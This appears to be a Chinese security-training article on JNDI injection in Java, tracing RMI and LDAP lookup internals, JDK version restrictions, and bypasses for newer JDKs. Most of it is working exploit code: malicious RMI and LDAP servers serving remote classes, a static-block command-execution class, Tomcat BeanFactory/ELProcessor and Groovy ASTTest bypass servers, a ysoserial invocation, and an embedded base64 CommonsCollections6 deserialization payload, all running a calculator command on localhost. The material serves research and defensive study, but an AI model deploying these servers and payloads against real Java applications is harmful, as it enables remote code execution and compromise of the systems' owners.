【创宇小课堂】代码审计-高版本JNDI注入

admin 2022年1月5日09:00:50评论154 views字数 15172阅读50分34秒阅读模式



JNDI-RMI Analysis




流程分析



RMI服务端

package com.RMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.Reference;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class RMIAtkServer {

   public static void main(String[] args) throws Exception{

       Registry registry= LocateRegistry.createRegistry(4396);

       Reference reference = new Reference("Test", "Test", "http://localhost/");

       ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

       registry.bind("calc", referenceWrapper);

   }

}


恶意类

import java.io.IOException;
public class Test {

   static{


   try {

       Runtime.getRuntime().exec("open -a Calculator.app");

   } catch (IOException e) {

       e.printStackTrace();

   }

}

}


JNDI客户端

package com.jndi;
import javax.naming.InitialContext;

public class jndiI {


   public static void main(String[] args) throws Exception{

       new InitialContext().lookup("rmi://127.0.0.1:4396/calc");

//        new InitialContext().lookup("ldap://127.0.0.1:7777/calc");

   }

}


下端点进行分析

【创宇小课堂】代码审计-高版本JNDI注入


看名字就很明确,首选会通过getURLOrDefaultInitCtx()初始化默认的上下文

【创宇小课堂】代码审计-高版本JNDI注入


接着跟入lookup()

首先调用getRootURLContext()

【创宇小课堂】代码审计-高版本JNDI注入


该接口主要针对不同协议调用不同的getRootURLContext()

因为我这里输入的jndiname是rmi的,因此为调用到rmiURLContext#getRootURLContext()来对jndiname进行一些处理和特殊字符检测。

【创宇小课堂】代码审计-高版本JNDI注入


接着步过到var3.lookup()

【创宇小课堂】代码审计-高版本JNDI注入


跟入lookup()

首先对lookup对象做非空判断,然后调用this.registry.lookup()

这一步的意思就是委托Stub去注册中心(Registry)寻找calc对象

【创宇小课堂】代码审计-高版本JNDI注入


接着跟入decodeObject()

ReferenceWrapper_Stub是RemoteReference的实现类,因此会将Reference对象赋值给var3

【创宇小课堂】代码审计-高版本JNDI注入


跟入NamingManager#getObjectInstance(),该方法为获取Factory的方法

步过

调用了getObjectFactoryFromReference()

【创宇小课堂】代码审计-高版本JNDI注入


步入

【创宇小课堂】代码审计-高版本JNDI注入


这里的代码非常关键,首先尝试从本地还在Factory类,若为null,则会从codebase中加载,即从远程加载class

完成加载后还会在下方进行newInstance(),即实例化,这里也就是触发恶意类中静态代码块儿(static {})的点位

【创宇小课堂】代码审计-高版本JNDI注入


再看一下loadClass的具体实现

【创宇小课堂】代码审计-高版本JNDI注入


最终调用的是VersionHelper12#loadClass

【创宇小课堂】代码审计-高版本JNDI注入


可以发现是通过URLClassLoader去完成类的加载的

除此之外还会调用被加载类的getObjectInstance()

【创宇小课堂】代码审计-高版本JNDI注入


因此整个JNDI的流程走完,以下方式写的恶意代码都会触发

  • 方法块: {}

  • 静态代码块: static {}

  • 无参构造方法

  • getObjectInstance()


方法调用栈


exec:347, Runtime (java.lang)
<clinit>:6, Test

forName0:-1, Class (java.lang)

forName:340, Class (java.lang)

loadClass:72, VersionHelper12 (com.sun.naming.internal)

loadClass:61, VersionHelper12 (com.sun.naming.internal)

getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)

getObjectInstance:319, NamingManager (javax.naming.spi)

decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)

lookup:124, RegistryContext (com.sun.jndi.rmi.registry)

lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)

lookup:417, InitialContext (javax.naming)

main:7, jndiI (com.jndi)


版本限制



使用RMI+JNDI Reference的方式,在JDK 6u141、7u131、8u121 及以后的版本被限制

官方ChangeLog文档:https://www.oracle.com/java/technologies/javase/8u121-relnotes.html

【创宇小课堂】代码审计-高版本JNDI注入


官方将

com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase


的值设置为false,则不能再从codebase中加载类了



JNDI-LDAP Analysis



流程分析



LDAP服务端

package com.ldap;

import java.net.InetAddress;


import java.net.MalformedURLException;

import java.net.URL;

import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;

import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;

import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPException;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

public class LdapAtkServer {

   private static final String LDAP_BASE = "dc=t4rrega,dc=domain";

   public static void main ( String[] tmp_args ) {

       String[] args=new String[]{"http://127.0.0.1/#Test"};

       int port = 7777;

       try {

           InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

           config.setListenerConfigs(new InMemoryListenerConfig(

                   "listen", //$NON-NLS-1$

                   InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$

                   port,

                   ServerSocketFactory.getDefault(),

                   SocketFactory.getDefault(),

                   (SSLSocketFactory) SSLSocketFactory.getDefault()));

           config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));

           InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

           System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$

           ds.startListening();

       }

       catch ( Exception e ) {

           e.printStackTrace();

       }

   }

   private static class OperationInterceptor extends InMemoryOperationInterceptor {

       private URL codebase;

       public OperationInterceptor ( URL cb ) {

           this.codebase = cb;

       }

       @Override

       public void processSearchResult ( InMemoryInterceptedSearchResult result ) {

           String base = result.getRequest().getBaseDN();

           Entry e = new Entry(base);

           try {

               sendResult(result, base, e);

           }

           catch ( Exception e1 ) {

               e1.printStackTrace();

           }

       }

       protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {

           URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));

           System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

           e.addAttribute("javaClassName", "foo");

           String cbstring = this.codebase.toString();

           int refPos = cbstring.indexOf('#');

           if ( refPos > 0 ) {

               cbstring = cbstring.substring(0, refPos);

           }

           e.addAttribute("javaCodeBase", cbstring);

           e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

           e.addAttribute("javaFactory", this.codebase.getRef());

           result.sendSearchEntry(e);

           result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

       }

   }

}



依赖

<dependency>
   <groupId>com.unboundid</groupId>

   <artifactId>unboundid-ldapsdk</artifactId>

   <version>3.1.1</version>

</dependency>


调用过程在获取到上下文后,与RMI一致,不重复分析


方法调用栈


exec:347, Runtime (java.lang)
<clinit>:6, Test

forName0:-1, Class (java.lang)

forName:340, Class (java.lang)

loadClass:72, VersionHelper12 (com.sun.naming.internal)

loadClass:61, VersionHelper12 (com.sun.naming.internal)

getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)

getObjectInstance:189, DirectoryManager (javax.naming.spi)

c_lookup:1085, LdapCtx (com.sun.jndi.ldap)

p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)

lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)

lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)

lookup:94, ldapURLContext (com.sun.jndi.url.ldap)

lookup:417, InitialContext (javax.naming)

main:8, jndiI (com.jndi)


版本限制


使用LDAP+JNDI Reference的方式,在JDK 11.0.1、8u191、7u201、6u211后被限制

com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false



JNDI Injection Bypass



目前公布的可行性方案有两种:


  • 利用本地Class作为Reference Factory

    • javax.el.ELProcessor

    • groovy.lang.GroovyClassLoader

    • com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

    • ...

  • 利用服务器可利用的反序列化gadget




Load Local Class




虽然8u191后已经不允许加载codebase中的类,但仍然可以从本地加载Reference Factory


需要注意是,该本地类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换


并且该工厂类至少存在一个getObjectInstance()方法


org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的


Tomcat8



需要注意的是tomcat8指的是有该依赖的中间件,例如SpringBoot 1.2.x+,tomcat9等,而不仅限于tomcat8


分析

【创宇小课堂】代码审计-高版本JNDI注入


BeanFactory#getObjectInstance()首选会判断obj是否是ResourceRef,若是则

实例化Reference对象,并获取beanClassName


最后通过反射实例化Reference所指向的任意BeanClass,并且会调用setter方法为所有的属性赋值


并且BeanClass的类名、属性、属性值,都来自于Reference对象,均是可控的

【创宇小课堂】代码审计-高版本JNDI注入


继续阅读BeanClass的代码,可以发现:

forceString可以给属性强制指定一个setter方法,这里原作者Michael Stepankin(Exploiting JNDI Injections in Java)所使用的是ELProcessor.eval()

ELProcessor.eval()会对EL表达式进行求值,即会执行命令


实现



RMI服务端

package com.jndi.bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import org.apache.naming.ResourceRef;


import javax.naming.StringRefAddr;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class Tomcat8bypass {

   public static void main(String[] args) throws Exception {

       Registry registry = LocateRegistry.createRegistry(1099);

       ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);

       resourceRef.add(new StringRefAddr("forceString", "t4rrega=eval"));

       resourceRef.add(new StringRefAddr("t4rrega", "Runtime.getRuntime().exec("open -a Calculator.app")"));

       ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);

       registry.bind("Tomcat8bypass", referenceWrapper);

   }

}


依赖

<dependency>
   <groupId>org.apache.tomcat</groupId>

   <artifactId>tomcat-catalina</artifactId>

   <version>8.5.0</version>

</dependency>

<dependency>

   <groupId>org.lucee</groupId>

   <artifactId>javax.el</artifactId>

   <version>3.0.0</version>

</dependency>


JNDI加载本地Factory

【创宇小课堂】代码审计-高版本JNDI注入


Groovy


在Groovy的官方文档(ASTest)中,可以发现的是,Groovy程序允许我们执行断言,也就意味着命令执行


@ASTTest是一种特殊的AST转换,它会在编译期对AST执行断言,而不是对编译结果执行断言。这意味着此AST转换在生成字节码之前可以访问 AST。@ASTTest可以放置在任何可注释节点上。


【创宇小课堂】代码审计-高版本JNDI注入


因此思路和Tomcat相似,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass,然后去解析groovy脚本


RMI服务端

package com.jndi.bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import org.apache.naming.ResourceRef;


import javax.naming.NamingException;

import javax.naming.StringRefAddr;

import java.rmi.AlreadyBoundException;

import java.rmi.RemoteException;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class Groovy2bypass {

   public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {

       Registry registry = LocateRegistry.createRegistry(1099);

       ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

       resourceRef.add(new StringRefAddr("forceString", "t4rrega=parseClass"));

       String script = String.format("@groovy.transform.ASTTest(value={nassert java.lang.Runtime.getRuntime().exec("%s")n})ndef t4rregan", "open -a Calculator.app");

       resourceRef.add(new StringRefAddr("t4rrega",script));

       ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);

       registry.bind("Groovy2bypass", referenceWrapper);

   }

}



依赖

<dependency>
   <groupId>org.codehaus.groovy</groupId>

   <artifactId>groovy</artifactId>

   <version>2.4.5</version>

</dependency>

【创宇小课堂】代码审计-高版本JNDI注入




Server Gadget




利用LDAP返回的序列化数据,我们可以触发本地存在的Gadget

在Ldap中,Java有多种方式进行数据存储:

  • 序列化数据

  • JNDI Reference

  • Marshalled Object

  • Remote Location

同时Ldap也可以为存储的对象指定多种属性:

  • javaCodeBase

  • objectClass

  • javaFactory

  • javaSerializedData


如果Ldap存储的某个对象的javaSerializedData值不为空,则客户端会通过调用obj.decodeObject()对该属性值内容进行反序列化。


分析



JNDI在完成lookup后,会对对象调用decodeObject方法

【创宇小课堂】代码审计-高版本JNDI注入


跟入decodeObject

【创宇小课堂】代码审计-高版本JNDI注入


可以发现,首先判断JAVA_ATTRIBUTES[1],也就是javaSerializedData是否为空

不为空就会调用deserializeObject()

跟入

【创宇小课堂】代码审计-高版本JNDI注入


发现对var20进行了反序列化,此处的var20就是从javaSerializedData获取的序列化数据


实现



使用ysoserial生成恶意对象,并将字节码base64加密

java -jar ysoserial.jar CommonsCollections6 "open -a Calculator.app"|base64

【创宇小课堂】代码审计-高版本JNDI注入


ldap服务端

package com.jndi.bypass;
import java.net.InetAddress;

import java.net.URL;


import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;

import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;

import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

import com.unboundid.util.Base64;

public class Deserializebypass {

   private static final String LDAP_BASE = "dc=t4rrega,dc=domain";

   public static void main ( String[] tmp_args ) {

       String[] args=new String[]{"http://127.0.0.1/#Deserialize"};

       int port = 7777;

       try {

           InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

           config.setListenerConfigs(new InMemoryListenerConfig(

                   "listen", //$NON-NLS-1$

                   InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$

                   port,

                   ServerSocketFactory.getDefault(),

                   SocketFactory.getDefault(),

                   (SSLSocketFactory) SSLSocketFactory.getDefault()));

           config.addInMemoryOperationInterceptor(new Deserializebypass.OperationInterceptor(new URL(args[ 0 ])));

           InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

           System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$

           ds.startListening();

       }

       catch ( Exception e ) {

           e.printStackTrace();

       }

   }

   private static class OperationInterceptor extends InMemoryOperationInterceptor {

       private URL codebase;

       public OperationInterceptor ( URL cb ) {

           this.codebase = cb;

       }

       @Override

       public void processSearchResult ( InMemoryInterceptedSearchResult result ) {

           String base = result.getRequest().getBaseDN();

           Entry e = new Entry(base);

           try {

               sendResult(result, base, e);

           }

           catch ( Exception e1 ) {

               e1.printStackTrace();

           }

       }

       protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {

           URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));

           System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

           e.addAttribute("javaClassName", "foo");

           String cbstring = this.codebase.toString();

           int refPos = cbstring.indexOf('#');

           if ( refPos > 0 ) {

               cbstring = cbstring.substring(0, refPos);

           }

           e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));

           result.sendSearchEntry(e);

           result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

       }

   }

}


【创宇小课堂】代码审计-高版本JNDI注入



Tools


feihong师傅的https://gitee.com/bjmlw2021/JNDIExploit


Reference


https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

http://groovy-lang.org/metaprogramming.html#xform-ASTTest

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://www.oracle.com/java/technologies/javase/8u191-relnotes.html

https://github.com/veracode-research/rogue-jndi

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://gitee.com/bjmlw2021/JNDIExploit

原文始发于微信公众号(安全宇宙):【创宇小课堂】代码审计-高版本JNDI注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日09:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【创宇小课堂】代码审计-高版本JNDI注入http://cn-sec.com/archives/719135.html

发表评论

匿名网友 填写信息